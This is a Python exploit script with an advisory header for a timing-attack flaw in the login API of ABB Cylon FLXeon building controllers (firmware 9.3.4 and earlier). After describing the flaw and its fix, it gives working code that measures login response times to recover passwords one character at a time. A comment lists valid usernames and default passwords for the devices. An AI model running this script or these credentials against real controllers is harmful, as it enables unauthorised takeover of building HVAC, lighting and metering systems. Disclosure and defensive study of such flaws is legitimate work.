#!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
# #!/usr/bin/env python3
#
#
# ABB Cylon FLXeon 9.3.4 (login.js) Node Timing Attack
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
# CBX Series (FLX Series)
# CBT Series
# CBV Series
# Firmware: <=9.3.4
#
# Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
# series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
# building management solutions. ABB BACnet controllers are designed for intelligent
# control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
# heat pump systems, air handling units (constant volume, variable air volume, and
# multi-zone), rooftop units, electrical systems such as lighting control, variable
# frequency drives and metering.
#
# The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
# connectivity and open integration for your building automation systems. It's scalable,
# and modular, allowing you to control a diverse range of HVAC functions.
#
# Desc: A timing attack vulnerability exists in ABB Cylon FLXeon's authentication process
# due to improper comparison of password hashes in login.js and uukl.js. Specifically,
# the verifyPassword() function in login.js and the verify() function in uukl.js both
# calculate the password hash and compare it to the stored hash. In these implementations,
# small differences in response times are introduced based on how much of the password
# or the username matches the stored hash, making the system vulnerable to timing-based
# analysis.
#
# In the verifyPassword() function in login.js, the comparison is performed using (passwordHash !== hash),
# which can reveal subtle timing discrepancies depending on the number of matching characters
# between the calculated and stored hashes. Similarly, in uukl.js, the verify() function
# compares the calculated hash (const hash = md5sum.digest('hex');) to the saved hash
# using if (hash == savedHash). The time taken for these comparisons can vary based on the
# number of correct characters in the password, allowing an attacker to infer portions of
# the password by measuring response times.
#
# These vulnerabilities can be exploited by attackers to enumerate valid usernames and
# incrementally discover passwords. By analyzing the differences in response times, attackers
# can determine which characters of the password are correct. This can lead to information
# leakage, user enumeration, and password cracking. The timing differences between correct
# and incorrect passwords, combined with the use of simple conditional checks for hash
# comparisons, provide an opportunity for attackers to deduce valid portions of the password.
# This makes it easier for attackers to identify the correct password, especially when
# attempting to reset or change it.
#
# Network latency can introduce additional mismeasurement, affecting the accuracy of timing
# differences and potentially leading to false conclusions during the attack.
#
# Fix:
# Version: 9.3.5
# Introduced: crypto.timingSafeEqual() to apply constant-time comparison.
#
# -----------------------------------------------------
#
# $ ./ntime.py 7.3.3.1 --verbose # not a valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 337 ms
# [1] Tried: changemea | Avg Response: 344 ms
# [2] Tried: changemeb | Avg Response: 333 ms
# [3] Tried: changemec | Avg Response: 333 ms
# [4] Tried: changemed | Avg Response: 344 ms
# [5] Tried: changemee | Avg Response: 328 ms
# [6] Tried: changemef | Avg Response: 333 ms
# [7] Tried: changemeg | Avg Response: 339 ms
# [8] Tried: changemeh | Avg Response: 333 ms
# [9] Tried: changemei | Avg Response: 333 ms
# [10] Tried: changemej | Avg Response: 322 ms
# ^C
# $ ./ntime.py 7.3.3.1 --verbose # valid username
# [DEBUG] Initial check failed (HTTP 401)
# [DEBUG] Baseline time: 599 ms
# [1] Tried: changemea | Avg Response: 672 ms
# [2] Tried: changemeb | Avg Response: 617 ms
# [3] Tried: changemec | Avg Response: 611 ms
# [4] Tried: changemed | Avg Response: 600 ms
# [5] Tried: changemee | Avg Response: 594 ms
# [6] Tried: changemef | Avg Response: 617 ms
# [7] Tried: changemeg | Avg Response: 600 ms
# [8] Tried: changemeh | Avg Response: 605 ms
# [9] Tried: changemei | Avg Response: 605 ms
# [10] Tried: changemej | Avg Response: 605 ms
#
# -----------------------------------------------------
#
# Tested on: Linux Kernel 5.4.27
# Linux Kernel 4.15.13
# NodeJS/8.4.0
# Express
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5925
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5925.php
# CWE ID: CWE-208 (Observable Timing Discrepancy)
# CWE URL: https://cwe.mitre.org/data/definitions/208.html
#
#
# 21.04.2024
#
#

from datetime import datetime
from statistics import mean
import threading
import requests
import string
import time
import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

proj = r"""
P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????

ABB Cylon FLXeon Series <=9.3.4
NodeJS Timing Attack
ZSL-2025-5925
"""

print(proj)

if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <IP> [--verbose]")
sys.exit(1)

ip = sys.argv[1]
url = f"https://{ip}/api/login"
username = "rooot" # valid users: root, admin, cxpro
password = "changeme" # default pwds: cylonctl, siteguide
charset = string.ascii_lowercase + string.digits

verbose = "--verbose" in sys.argv

SAMPLES = 3 # number of samples for timing accuracy
BASELINE_SAMPLES = 5 # baseline measurement attempts

request_counter = 0
request_counter_lock = threading.Lock()

def ftime(seconds):
if seconds < 1:
return f"{seconds * 1000:.0f} ms"
else:
return f"{seconds:.2f} s"

def chkpwd():
global password
data = {"username": username, "password": password}
try:
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password found instantly: {password}")
return True
elif verbose:
print(f"[DEBUG] Initial check failed (HTTP {response.status_code})")
except Exception as e:
print(f"[ERROR] Request failed: {e}")
return False

def measure(full_password):
timings = []
for _ in range(SAMPLES):
start = time.time()
try:
headers = {'Connection': 'close'}
response = requests.post(url, json={"username": username, "password": full_password},
verify=False, headers=headers)
response.text
except Exception as e:
return None
elapsed = time.time() - start
timings.append(elapsed)
return mean(timings)

def brutus():
global password

if chkpwd():
return

baseline_times = []
for _ in range(BASELINE_SAMPLES):
time = measure("wrong_password")
if time:
baseline_times.append(time)
baseline = mean(baseline_times) if baseline_times else 0

print(f"[DEBUG] Baseline time: {ftime(baseline)}")

for position in range(len(password), 17): # pwd length
best_char = None
best_time = baseline

for char in charset:
candidate = password + char
avg_time = measure(candidate)
if not avg_time:
continue

if verbose:
with request_counter_lock:
global request_counter
request_counter += 1
print(f"[{request_counter}] Tried: {candidate} | Avg Response: {ftime(avg_time)}")

if avg_time > best_time * 1.2: # 20% threshold
best_char = char
best_time = avg_time

if best_char:
password += best_char
print(f"[+] Progress: {password}")
data = {"username": username, "password": password}
response = requests.post(url, json=data, verify=False)
if response.status_code == 200:
print(f"[+] Password Found: {password}")
return
else:
print("[ERROR] No significant timing difference detected.")
break

if __name__ == "__main__":
start_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[+] Le script started at {start_time}")
brutus()